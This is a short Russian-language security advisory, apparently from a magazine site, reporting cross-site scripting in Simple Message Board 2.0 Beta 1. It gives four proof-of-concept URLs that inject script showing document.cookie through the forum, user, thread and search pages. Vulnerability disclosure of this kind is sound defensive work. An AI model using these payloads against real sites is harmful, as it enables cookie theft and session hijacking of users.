Межсайтовый скриптинг в Simple Message Board

Рекомендуем почитать:

Xakep #300. Номер триста

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: Simple Message Board 2.0 Beta 1 

Обнаруженная уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к потенциально важным данным других пользователей.
Уязвимость существует из-за недостаточной обработки входных данных в сценариях 'forum.cfm', 'user.cfm', thread.cfm' и 'search.cfm'. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта. 

Примеры:

http://[target]/forum/forum.cfm?FID=<script> JavaScript:a lert(document.cookie);</script> 

http://[target]/forum/user.cfm?UID=<script> JavaScript:alert(document.cookie);</script>

http://[target]/forum/thread.cfm?TID=<script> JavaScript:alert(document.cookie);</script>

http://[target]/forum/search.cfm?PostDate=<script>
JavaScript:alert(document.cookie);</script>